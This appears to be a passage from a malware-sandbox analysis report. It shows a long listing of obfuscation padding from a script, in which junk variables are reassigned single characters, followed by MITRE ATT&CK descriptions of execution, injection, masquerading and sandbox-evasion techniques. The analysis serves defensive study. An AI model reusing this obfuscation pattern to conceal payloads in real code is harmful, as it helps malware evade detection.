560	uubmdg = "m";
561	uubmdg = "W";
562	uubmdg = "\\";
563	ehtjlmj = "w";
564	ehtjlmj = "e";
565	ehtjlmj = "A";
566	ehtjlmj = "h";
567	ehtjlmj = "i";
568	ehtjlmj = "j";
569	ehtjlmj = "M";
570	ehtjlmj = "B";
571	ehtjlmj = "Y";
572	ehtjlmj = "q";
573	ehtjlmj = "w";
574	ehtjlmj = "U";
575	ehtjlmj = "o";
576	ehtjlmj = "y";
577	ehtjlmj = "Q";
578	ehtjlmj = "f";
579	ehtjlmj = "p";
580	ehtjlmj = "f";
581	xkpozao = "M";
582	xkpozao = "E";
583	xkpozao = "w";
584	xkpozao = "O";
585	xkpozao = "S";
586	xkpozao = "V";
587	xkpozao = "Z";
588	xkpozao = "j";
589	xkpozao = "D";
590	xkpozao = "B";
591	xkpozao = "y";
592	xkpozao = "e";
593	xkpozao = "f";
594	xkpozao = "X";
595	xkpozao = "H";
596	xkpozao = "y";
597	xkpozao = "h";
598	xkpozao = "h";
599	xkpozao = "w";
600	xkpozao = "a";
601	xkpozao = "B";
602	xkpozao = "A";
603	xkpozao = "d";
604	xkpozao = "c";
605	xkpozao = "/";
606	jrjkcxp = "F";
607	jrjkcxp = "l";
608	jrjkcxp = "w";
609	jrjkcxp = "w";
610	jrjkcxp = "n";
611	jrjkcxp = "Q";
612	jrjkcxp = "q";
613	jrjkcxp = "m";
614	jrjkcxp = "O";
615	jrjkcxp = "t";
616	jrjkcxp = "n";
617	vxvfrezwi = "b";
618	vxvfrezwi = "F";
619	vxvfrezwi = "j";
620	vxvfrezwi = "i";
621	vxvfrezwi = "\"";
622	qpnfsa = "Q";
623	qpnfsa = "S";
624	qpnfsa = "k";
625	qpnfsa = "k";
626	qpnfsa = "P";
627	zanpkwvg = "z";
628	zanpkwvg = "V";
629	zanpkwvg = "k";
630	zanpkwvg = "J";
631	zanpkwvg = "g";
632	zanpkwvg = "P";
633	zanpkwvg = "m";
634	zanpkwvg = "B";
635	zanpkwvg = "F";
636	zanpkwvg = "U";
637	zanpkwvg = "y";
638	zanpkwvg = "i";
639	zanpkwvg = "e";
640	zanpkwvg = "K";
641	zanpkwvg = "8";
642	whvsix = "Q";
643	whvsix = "n";
644	whvsix = "j";
645	whvsix = "H";
646	whvsix = "w";
647	whvsix = "l";
648	whvsix = "p";
649	whvsix = "w";
650	whvsix = "u";
651	whvsix = "F";
652	whvsix = "R";
653	whvsix = "m";
654	whvsix = "P";
655	whvsix = "y";
656	whvsix = "v";
657	whvsix = "n";
658	whvsix = "l";
659	whvsix = "a";
660	whvsix = "P";
661	whvsix = "j";
662	whvsix = "k";
663	whvsix = "x";
664	whvsix = "w";
665	whvsix = "V";
666	whvsix = "v";
667	whvsix = "r";
668	whvsix = "x";
669	whvsix = "O";
670	whvsix = "I";
671	whvsix = ":";
672	ajehogmad = "y";
673	ajehogmad = "N";
674	ajehogmad = "X";
675	ajehogmad = "S";
676	ajehogmad = "9";
677	sxsthdz = "s";
678	sxsthdz = "B";
679	sxsthdz = "j";
680	sxsthdz = "r";
681	zxmtd = "u";
682	zxmtd = "s";
683	zxmtd = "f";
684	zxmtd = "I";
685	zxmtd = "w";
686	zxmtd = "f";
687	zxmtd = "d";
688	zxmtd = "s";
689	zxmtd = "V";
690	zxmtd = "i";
691	zxmtd = "T";
692	zxmtd = "j";
693	zxmtd = "C";
694	zxmtd = "b";
695	zxmtd = "G";
696	zxmtd = "n";
697	zxmtd = "X";
698	zxmtd = "s";
699	zxmtd = "P";
700	zxmtd = "y";
701	zxmtd = "E";
702	zxmtd = "i";
703	fjdsuqi = "o";
704	fjdsuqi = "Q";
705	fjdsuqi = "t";
706	fjdsuqi = "c";
707	fjdsuqi = "u";
708	fjdsuqi = "D";
709	fjdsuqi = "E";
710	fjdsuqi = "X";
711	fjdsuqi = "Y";
712	fjdsuqi = "G";
713	fjdsuqi = "s";
714	fjdsuqi = "q";
715	fjdsuqi = "E";
716	fjdsuqi = "z";
717	fjdsuqi = "V";
718	fjdsuqi = "H";
719	fjdsuqi = "I";
720	fjdsuqi = "Y";
721	fjdsuqi = "o";
722	fjdsuqi = "U";
723	fjdsuqi = "w";
724	fjdsuqi = "Y";
725	fjdsuqi = "x";
726	fjdsuqi = "s";
727	fjdsuqi = "j";
728	fjdsuqi = "y";
729	fjdsuqi = "K";
730	juthq = "A";
731	juthq = "B";
732	juthq = "S";
733	juthq = "E";
734	juthq = "B";
735	juthq = "k";
736	juthq = "f";
737	juthq = "O";
738	juthq = "P";
739	juthq = "E";
740	juthq = "y";
741	juthq = "t";
742	juthq = "o";
743	juthq = "G";
744	juthq = "r";
745	juthq = "I";
746	juthq = "e";
747	juthq = "S";
748	juthq = "S";
749	juthq = "R";
750	juthq = "Z";
751	juthq = "W";
752	juthq = "E";
753	juthq = "E";
754	juthq = "f";
755	juthq = "g";
756	dteoq = "q";
757	dteoq = "Y";
758	dteoq = "a";
759	dteoq = "S";
760	dteoq = "c";
761	dteoq = "q";
762	dteoq = "v";
763	dteoq = "Z";
764	dteoq = "X";
765	dteoq = "X";
766	dteoq = "c";
767	dteoq = "0";
768	dzywfdkq = "N";
769	dzywfdkq = "s";
770	dzywfdkq = "U";
771	dzywfdkq = "e";
772	dzywfdkq = "Z";
773	dzywfdkq = "u";
774	dzywfdkq = "v";
775	dzywfdkq = "Q";
776	dzywfdkq = "R";
777	dzywfdkq = "p";
778	dzywfdkq = "Z";
779	dzywfdkq = "u";
780	dzywfdkq = "J";
781	dzywfdkq = "I";
782	dzywfdkq = "z";
783	dzywfdkq = "c";
784	dzywfdkq = "i";
785	dzywfdkq = "c";
786	dzywfdkq = "Q";
787	dzywfdkq = "M";
788	dzywfdkq = "b";
789	dzywfdkq = "x";
790	dzywfdkq = "d";
791	dzywfdkq = "N";
792	dzywfdkq = "y";
793	dzywfdkq = "m";
794	dzywfdkq = "c";
795	dzywfdkq = "f";
796	dzywfdkq = "t";
797	dzywfdkq = "T";
798	dzywfdkq = "b";
799	dzywfdkq = "T";
800	dzywfdkq = "v";
801	dzywfdkq = "o";
802	dzywfdkq = "j";
803	dzywfdkq = "Q";
804	dzywfdkq = "L";
805	dzywfdkq = "Y";
806	dzywfdkq = "P";
807	dzywfdkq = "S";
808	dzywfdkq = "w";
809	dzywfdkq = "O";
810	dzywfdkq = "E";
811	dzywfdkq = "U";
812	rbeemyxvn = "t";
813	rbeemyxvn = "H";
814	rbeemyxvn = "J";
815	rbeemyxvn = "d";
816	rbeemyxvn = "s";
817	rbeemyxvn = "K";
818	rbeemyxvn = "X";
819	rbeemyxvn = "v";
820	rbeemyxvn = "n";
821	rbeemyxvn = "F";
822	rbeemyxvn = "F";
823	rbeemyxvn = "A";
824	rbeemyxvn = "w";
825	rbeemyxvn = "g";
826	rbeemyxvn = "D";
827	rbeemyxvn = "g";
828	rbeemyxvn = "o";
829	rbeemyxvn = "f";
830	rbeemyxvn = "R";
831	rbeemyxvn = "M";
832	rbeemyxvn = "y";
833	rbeemyxvn = "U";
834	rbeemyxvn = "s";
835	rbeemyxvn = "j";
836	rbeemyxvn = "W";
837	rbeemyxvn = "T";
838	rbeemyxvn = "K";
839	rbeemyxvn = "n";
840	rbeemyxvn = "K";
841	rbeemyxvn = "v";
842	rbeemyxvn = "W";
843	rbeemyxvn = "R";
844	rbeemyxvn = "T";
845	rbeemyxvn = "Y";
846	rbeemyxvn = "O";
847	potce = "f";
848	potce = "T";
849	potce = "C";
850	potce = "i";
851	potce = "T";
852	potce = "s";
853	potce = "f";
854	potce = "w";
855	potce = "f";
856	potce = "p";
857	potce = "z";
858	potce = "e";
859	potce = "M";
860	potce = "m";
861	potce = "Z";
862	potce = "F";
863	potce = "Q";
864	potce = "S";
865	potce = "g";
866	potce = "E";
867	potce = "W";
868	potce = "a";
869	potce = "x";
870	potce = "q";
871	psxdnc = "D";
872	psxdnc = "o";
873	psxdnc = "b";
874	psxdnc = "H";
875	psxdnc = "t";
876	psxdnc = "G";
877	psxdnc = "G";
878	psxdnc = "L";
879	psxdnc = "f";
880	psxdnc = "r";
881	psxdnc = "L";
882	psxdnc = "v";
883	psxdnc = "e";
884	psxdnc = "w";
885	psxdnc = "Z";
886	psxdnc = "m";
887	psxdnc = "A";
888	psxdnc = "b";
889	psxdnc = "m";
890	psxdnc = "Z";
891	psxdnc = "N";
892	psxdnc = "n";
893	psxdnc = "x";
894	psxdnc = "v";
895	psxdnc = "S";
896	psxdnc = "K";
897	psxdnc = "p";
898	psxdnc = "o";
899	psxdnc = "L";
900	psxdnc = "l";
901	psxdnc = "o";
902	psxdnc = "N";
903	psxdnc = "z";
904	psxdnc = "D";
905	psxdnc = "y";
906	psxdnc = "T";
907	psxdnc = "b";
908	psxdnc = "p";
909	psxdnc = "j";
910	psxdnc = "O";
911	psxdnc = "n";
912	psxdnc = "m";
913	psxdnc = "V";
914	psxdnc = "W";
915	psxdnc = "E";
916	ypmjrexye = "H";
917	ypmjrexye = "D";
918	ypmjrexye = "h";
919	ypmjrexye = "p";
920	ypmjrexye = "z";
921	ypmjrexye = "q";
922	ypmjrexye = "e";
923	ypmjrexye = "f";
924	ypmjrexye = "B";
925	ypmjrexye = "E";
926	ypmjrexye = "D";
927	ypmjrexye = "t";
928	ypmjrexye = "s";
929	ypmjrexye = "o";
930	ypmjrexye = "Q";
931	ypmjrexye = "E";
932	ypmjrexye = "u";
933	ypmjrexye = "i";
934	ypmjrexye = "g";
935	ypmjrexye = "X";
936	ypmjrexye = "Q";
937	ypmjrexye = "E";
938	ypmjrexye = "4";
939	yoijei = "H";
940	yoijei = "L";
941	yoijei = "D";
942	yoijei = "y";
943	yoijei = "C";
944	yoijei = "x";
945	yoijei = "k";
946	yoijei = "w";
947	yoijei = "b";
948	yoijei = "g";
949	yoijei = "v";
950	yoijei = "f";
951	yoijei = "W";
952	yoijei = "P";
953	yoijei = "I";
954	yoijei = "I";
955	yoijei = "l";
956	yoijei = "G";
957	yoijei = "I";
958	yoijei = "S";
959	yoijei = "d";
960	yoijei = "U";
961	yoijei = "B";
962	yoijei = "h";
963	yoijei = "Q";
964	yoijei = "e";
965	yoijei = "h";
966	yoijei = "p";
967	zyaondwo = "t";
968	zyaondwo = "N";
969	zyaondwo = "Z";
970	zyaondwo = "Y";
971	zyaondwo = "X";
972	zyaondwo = "S";
973	zyaondwo = "K";
974	zyaondwo = "t";
975	zyaondwo = "p";
976	zyaondwo = "R";
977	zyaondwo = "c";
978	zyaondwo = "J";
979	zyaondwo = "a";
980	zyaondwo = "u";
981	zyaondwo = "K";
982	zyaondwo = "i";
983	zyaondwo = "I";
984	zyaondwo = "T";
985	zyaondwo = "R";
986	zyaondwo = "t";
987	zyaondwo = "C";
988	zyaondwo = "j";
989	zyaondwo = "T";
990	zyaondwo = "p";
991	zyaondwo = "d";
992	zyaondwo = "a";
993	zyaondwo = "p";
994	zyaondwo = "G";
995	zyaondwo = "Q";
996	zyaondwo = "v";
997	zyaondwo = "r";
998	zyaondwo = "M";
999	zyaondwo = "p";
1000	zyaondwo = "W";
1001	zyaondwo = "d";
1002	zyaondwo = "Z";
1003	zyaondwo = "y";
1004	zyaondwo = "U";
1005	zyaondwo = "a";
1006	zyaondwo = "l";
1007	zyaondwo = "@";
1008	pzjdpc = "b";
1009	pzjdpc = "U";
1010	pzjdpc = "u";
1011	pzjdpc = "O";
1012	pzjdpc = "J";
1013	pzjdpc = "%";
1014	cffklh = "A";
1015	cffklh = "c";
1016	cffklh = "a";
1017	cffklh = "V";
1018	cffklh = "m";
1019	cffklh = "q";
1020	cffklh = "r";
1021	cffklh = "C";
1022	cffklh = "b";
1023	cffklh = "S";
1024	cffklh = "q";
1025	cffklh = "f";
1026	cffklh = "k";
1027	cffklh = "n";
1028	cffklh = "E";
1029	cffklh = "n";
1030	cffklh = "T";
1031	cffklh = "z";
1032	cffklh = "z";
1033	cffklh = "G";
1034	cffklh = "w";
1035	cffklh = "G";
1036	cffklh = "G";
1037	cffklh = "W";
1038	cffklh = "i";
1039	cffklh = "t";
1040	cffklh = ".";
1041	xxdjsx = "B";
1042	xxdjsx = "Q";
1043	xxdjsx = "P";
1044	xxdjsx = "j";
1045	xxdjsx = "B";
1046	xxdjsx = "D";
1047	xxdjsx = "c";
1048	xxdjsx = "R";
1049	xxdjsx = "B";
1050	xxdjsx = "N";
1051	xxdjsx = "O";
1052	xxdjsx = "K";
1053	xxdjsx = "E";
1054	xxdjsx = "j";
1055	xxdjsx = "u";
1056	xxdjsx = "A";
1057	xxdjsx = "m";
1058	xxdjsx = "D";
1059	xxdjsx = "l";
1060	xxdjsx = "Z";
1061	xxdjsx = "T";
1062	xxdjsx = "v";
1063	xxdjsx = "E";
1064	xxdjsx = "S";
1065	xxdjsx = "x";
1066	asjlk = "z";
1067	asjlk = "s";
1068	asjlk = "b";
1069	asjlk = "w";
1070	asjlk = "K";
1071	asjlk = "L";
1072	asjlk = "l";
1073	asjlk = "V";
1074	asjlk = "i";
1075	asjlk = "b";
1076	asjlk = "V";
1077	asjlk = "u";
1078	asjlk = "t";
1079	asjlk = "e";
1080	creaki = "f";
1081	creaki = "m";
1082	creaki = "C";
1083	creaki = "J";
1084	creaki = "j";
1085	creaki = "W";
1086	creaki = "l";
1087	creaki = "U";
1088	creaki = "C";
1089	creaki = "l";
1090	creaki = "Z";
1091	creaki = "d";
1092	creaki = "A";
1093	creaki = "Y";
1094	creaki = "X";
1095	creaki = "w";
1096	creaki = "3";
1097	csovlumgn = "j";
1098	csovlumgn = "X";
1099	csovlumgn = "P";
1100	csovlumgn = "X";
1101	csovlumgn = "d";
1102	csovlumgn = "W";
1103	csovlumgn = "r";
1104	csovlumgn = "G";
1105	csovlumgn = "b";
1106	csovlumgn = "s";
1107	csovlumgn = "q";
1108	csovlumgn = "7";
1109	wpqqtqof = "M";
1110	wpqqtqof = "w";
1111	wpqqtqof = "p";
1112	wpqqtqof = "L";
1113	wpqqtqof = "W";
1114	wpqqtqof = "H";
1115	wpqqtqof = "g";
1116	wpqqtqof = "w";
1117	wpqqtqof = "D";
1118	wpqqtqof = " ";
1119	iczkob = "Z";
1120	iczkob = "p";
1121	iczkob = "V";
1122	iczkob = "S";
1123	iczkob = "c";
1124	iczkob = "D";
1125	iczkob = "i";
1126	iczkob = "t";
1127	iczkob = "S";
1128	iczkob = "X";
1129	iczkob = "I";
1130	iczkob = "M";
1131	iczkob = "E";
1132	iczkob = "p";
1133	iczkob = "x";
1134	iczkob = "z";
1135	iczkob = "Q";
1136	iczkob = "V";
1137	iczkob = "c";
1138	iczkob = "v";
1139	iczkob = "x";
1140	iczkob = "V";
1141	iczkob = "s";
1142	iczkob = "U";
1143	iczkob = "g";
1144	iczkob = "R";
1145	iczkob = "E";
1146	iczkob = "O";
1147	iczkob = "n";
1148	iczkob = "S";
1149	iczkob = "&";
1150	pmlvs = "L";
1151	pmlvs = "W";
1152	pmlvs = "G";
1153	pmlvs = "e";
1154	pmlvs = "b";
1155	pmlvs = "s";
1156	ukule = "h";
1157	ukule = "v";
1158	ukule = "z";
1159	ukule = "g";
1160	ukule = "F";
1161	ukule = "c";
1162	ukule = "V";
1163	ukule = "f";
1164	ukule = "a";
1165	ukule = "t";
1166	ukule = "T";
1167	ukule = "n";
1168	ukule = "Z";
1169	ukule = "Q";
1170	ukule = "y";
1171	ukule = "c";
1172	ukule = "V";
1173	ukule = "X";
1174	ukule = "I";
1175	ukule = "T";
1176	ukule = "B";
1177	ukule = "J";
1178	ukule = "u";
1179	ukule = "n";
1180	ukule = "l";
1181	ukule = "I";
1182	ukule = "E";
1183	ukule = "X";
1184	ukule = "d";
1185	ukule = "j";
1186	ukule = "v";
1187	ukule = "A";
1188	ukule = "N";
1189	cpctfe = "A";
1190	cpctfe = "B";
1191	cpctfe = "C";
1192	cpctfe = "B";
1193	cpctfe = "Q";
1194	cpctfe = "v";
1195	cpctfe = "L";
1196	cpctfe = "h";
1197	cpctfe = "c";
1198	cpctfe = "l";
1199	cpctfe = "o";
1200	cpctfe = "e";
1201	cpctfe = "t";
1202	qwkxtcrj = "Q";
1203	qwkxtcrj = "Y";
1204	qwkxtcrj = "F";
1205	qwkxtcrj = "k";
1206	qwkxtcrj = "v";
1207	qwkxtcrj = "p";
1208	qwkxtcrj = "K";
1209	qwkxtcrj = "Q";
1210	qwkxtcrj = "C";
1211	qwkxtcrj = "u";
1212	qwkxtcrj = "A";
1213	qwkxtcrj = "N";
1214	qwkxtcrj = "n";
1215	qwkxtcrj = "c";
1216	qwkxtcrj = "y";
1217	qwkxtcrj = "j";
1218	qwkxtcrj = "w";
1219	qwkxtcrj = "O";
1220	qwkxtcrj = "s";
1221	qwkxtcrj = "a";
1222	qwkxtcrj = "y";
1223	qwkxtcrj = "z";
1224	qwkxtcrj = "d";
1225	qwkxtcrj = "S";
1226	lhyfozoef = "I";
1227	lhyfozoef = "c";
1228	lhyfozoef = "C";
1229	lhyfozoef = "U";
1230	lhyfozoef = "L";
1231	lhyfozoef = "V";
1232	lhyfozoef = "p";
1233	lhyfozoef = "O";
1234	lhyfozoef = "O";
1235	lhyfozoef = "a";
1236	lhyfozoef = "d";
1237	lhyfozoef = "L";
1238	lhyfozoef = "K";
1239	lhyfozoef = "p";
1240	lhyfozoef = "d";
1241	lhyfozoef = "v";
1242	lhyfozoef = "O";
1243	lhyfozoef = "B";
1244	lhyfozoef = "H";
1245	lhyfozoef = "6";
1246	epddmy = "I";
1247	epddmy = "l";
1248	epddmy = "B";
1249	epddmy = "g";
1250	epddmy = "e";
1251	epddmy = "D";
1252	epddmy = "s";
1253	epddmy = "o";
1254	epddmy = "i";
1255	epddmy = "e";
1256	epddmy = "B";
1257	epddmy = "c";
1258	epddmy = "x";
1259	epddmy = "X";
1260	epddmy = "M";
1261	epddmy = "o";
1262	epddmy = "E";
1263	epddmy = "y";
1264	epddmy = "x";
1265	epddmy = "K";
1266	epddmy = "b";
1267	epddmy = "D";
1268	epddmy = "a";
1269	epddmy = "n";
1270	epddmy = "R";
1271	epddmy = "D";
1272	epddmy = "v";
1273	epddmy = "S";
1274	epddmy = "Y";
1275	epddmy = "K";
1276	epddmy = "F";
1277	epddmy = "L";
1278	epddmy = "x";
1279	epddmy = "D";
1280	epddmy = "T";
1281	epddmy = "G";
1282	epddmy = "J";
1283	epddmy = "G";
1284	epddmy = "m";
1285	epddmy = "s";
1286	epddmy = "H";
1287	epddmy = "e";
1288	epddmy = "G";
1289	epddmy = "H";
1290	nrjlaj = "t";
1291	nrjlaj = "j";
1292	nrjlaj = "x";
1293	nrjlaj = "d";
1294	nrjlaj = "o";
1295	nrjlaj = "y";
1296	nrjlaj = "w";
1297	nrjlaj = "o";
1298	nrjlaj = "b";
1299	nrjlaj = "I";
1300	nrjlaj = "K";
1301	nrjlaj = "k";
1302	nrjlaj = "u";
1303	nrjlaj = "q";
1304	nrjlaj = "R";
1305	nrjlaj = "K";
1306	nrjlaj = "C";
1307	nrjlaj = "T";
1308	nrjlaj = "q";
1309	nrjlaj = "m";
1310	nrjlaj = "z";
1311	nrjlaj = "d";
1312	nrjlaj = "U";
1313	nrjlaj = "w";
1314	nrjlaj = "m";
1315	nrjlaj = "s";
1316	nrjlaj = "N";
1317	nrjlaj = "t";
1318	nrjlaj = "L";
1319	nrjlaj = "a";
1320	nrjlaj = "e";
1321	nrjlaj = "R";
1322	nrjlaj = "L";
1323	nrjlaj = "u";
1324	klheetibv = "C";
1325	klheetibv = "w";
1326	klheetibv = "K";
1327	klheetibv = "D";
1328	klheetibv = "T";
1329	klheetibv = "b";
1330	klheetibv = "G";
1331	klheetibv = "p";
1332	klheetibv = "a";
1333	klheetibv = "V";
1334	klheetibv = "w";
1335	klheetibv = "j";
1336	klheetibv = "N";
1337	klheetibv = "b";
1338	klheetibv = "l";
1339	klheetibv = "T";
1340	klheetibv = "p";
1341	klheetibv = "I";
1342	klheetibv = "J";
1343	klheetibv = "z";
1344	klheetibv = "L";
1345	hikxad = "M";
1346	hikxad = "v";
1347	hikxad = "P";
1348	hikxad = "u";
1349	hikxad = "c";
1350	hikxad = "L";
1351	hikxad = "c";
1352	hikxad = "o";
1353	hikxad = "H";
1354	hikxad = "f";
1355	hikxad = "Q";
1356	hikxad = "C";
1357	hikxad = "H";
1358	hikxad = "t";
1359	hikxad = "S";
1360	hikxad = "a";
1361	hikxad = "S";
1362	hikxad = "f";
1363	hikxad = "f";
1364	hikxad = "A";
1365	hikxad = "K";
1366	hikxad = "D";
1367	hikxad = "I";
1368	hikxad = "S";
1369	hikxad = "G";
1370	hikxad = "p";
1371	hikxad = "D";
1372	hikxad = "n";
1373	hikxad = "h";
1374	hikxad = "p";
1375	hikxad = "L";
1376	hikxad = "p";
1377	hikxad = "g";
1378	hikxad = "T";
1379	hikxad = "J";
1380	hikxad = "I";
1381	kzrvtn = "R";
1382	kzrvtn = "G";
1383	kzrvtn = "a";
1384	kzrvtn = "e";
1385	kzrvtn = "i";
1386	kzrvtn = "K";
1387	kzrvtn = "W";
1388	kzrvtn = "r";
1389	kzrvtn = "Q";
1390	kzrvtn = "a";
1391	kzrvtn = "T";
1392	kzrvtn = "R";
1393	kzrvtn = "k";
1394	kzrvtn = "S";
1395	kzrvtn = "W";
1396	kzrvtn = "H";
1397	kzrvtn = "V";
1398	kzrvtn = "v";
1399	kzrvtn = "k";
1400	kzrvtn = "o";
1401	kzrvtn = "K";
1402	kzrvtn = "f";
1403	kzrvtn = "c";
1404	kzrvtn = "o";
1405	wghjkcg = "F";
1406	wghjkcg = "C";
1407	wghjkcg = "o";
1408	wghjkcg = "q";
1409	wghjkcg = "W";
1410	wghjkcg = "Y";
1411	wghjkcg = "Q";
1412	wghjkcg = "C";
1413	wghjkcg = "E";
1414	wghjkcg = "Z";
1415	wghjkcg = "P";
1416	wghjkcg = "Y";
1417	wghjkcg = "D";
1418	wghjkcg = "A";
1419	wghjkcg = "O";
1420	wghjkcg = "S";
1421	wghjkcg = "A";
1422	wghjkcg = "d";
1423	wghjkcg = "H";
1424	wghjkcg = "w";
1425	wghjkcg = "y";
1426	wghjkcg = "J";
1427	wghjkcg = "J";
1428	wghjkcg = "d";
1429	wghjkcg = "p";
1430	wghjkcg = "S";
1431	wghjkcg = "o";
1432	wghjkcg = "c";
1433	wghjkcg = "a";
1434	wghjkcg = "Y";
1435	wghjkcg = "y";
1436	wghjkcg = "i";
1437	wghjkcg = "s";
1438	wghjkcg = "Y";
1439	braykok = "z";
1440	braykok = "T";
1441	braykok = "k";
1442	braykok = "L";
1443	braykok = "V";
1444	braykok = "m";
1445	braykok = "u";
1446	braykok = "d";
1447	braykok = "B";
1448	braykok = "A";
1449	braykok = "S";
1450	braykok = "g";
1451	braykok = "R";
1452	braykok = "n";
1453	braykok = "M";
1454	braykok = "P";
1455	braykok = "N";
1456	braykok = "T";
1457	braykok = "r";
1458	braykok = "t";
1459	braykok = "A";
1460	braykok = "X";
1461	braykok = "H";
1462	braykok = "o";
1463	braykok = "O";
1464	braykok = "Q";
1465	braykok = "X";
1466	braykok = "T";
1467	braykok = "Z";
1468	braykok = "I";
1469	braykok = "b";
1470	braykok = "q";
1471	braykok = "p";
1472	braykok = "m";
1473	qspxbof = "W";
1474	qspxbof = "s";
1475	qspxbof = "P";
1476	qspxbof = "A";
1477	qspxbof = "V";
1478	qspxbof = "i";
1479	qspxbof = "y";
1480	qspxbof = "w";
1481	qspxbof = "F";
1482	qspxbof = "c";
1483	qspxbof = "J";
1484	qspxbof = "k";
1485	qspxbof = "S";
1486	qspxbof = "o";
1487	qspxbof = "w";
1488	qspxbof = "T";
1489	qspxbof = "o";
1490	qspxbof = "w";
1491	qspxbof = "X";
1492	qspxbof = "n";
1493	qspxbof = "V";
1494	qspxbof = "R";
1495	qspxbof = "h";
1496	seord = "H";
1497	seord = "W";
1498	seord = "C";
1499	seord = "R";
1500	seord = "E";
1501	seord = "Q";
1502	seord = "o";
1503	seord = "w";
1504	seord = "b";
1505	seord = "g";
1506	seord = "V";
1507	seord = "r";
1508	seord = "Q";
1509	seord = "D";
1510	seord = "C";
1511	seord = "K";
1512	seord = "C";
1513	seord = "k";
1514	seord = "o";
1515	seord = "z";
1516	seord = "n";
1517	seord = "J";
1518	seord = "r";
1519	seord = "x";
1520	seord = "O";
1521	seord = "p";
1522	seord = "v";
1523	seord = "E";
1524	seord = "H";
1525	seord = "l";
1526	seord = "t";
1527	seord = "I";
1528	seord = "Z";
1529	seord = "a";
1530	seord = "c";
1531	seord = "A";
1532	seord = "Z";
1533	seord = "z";
1534	seord = "o";
1535	seord = "2";
1536	rytgp ( );	rytgp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
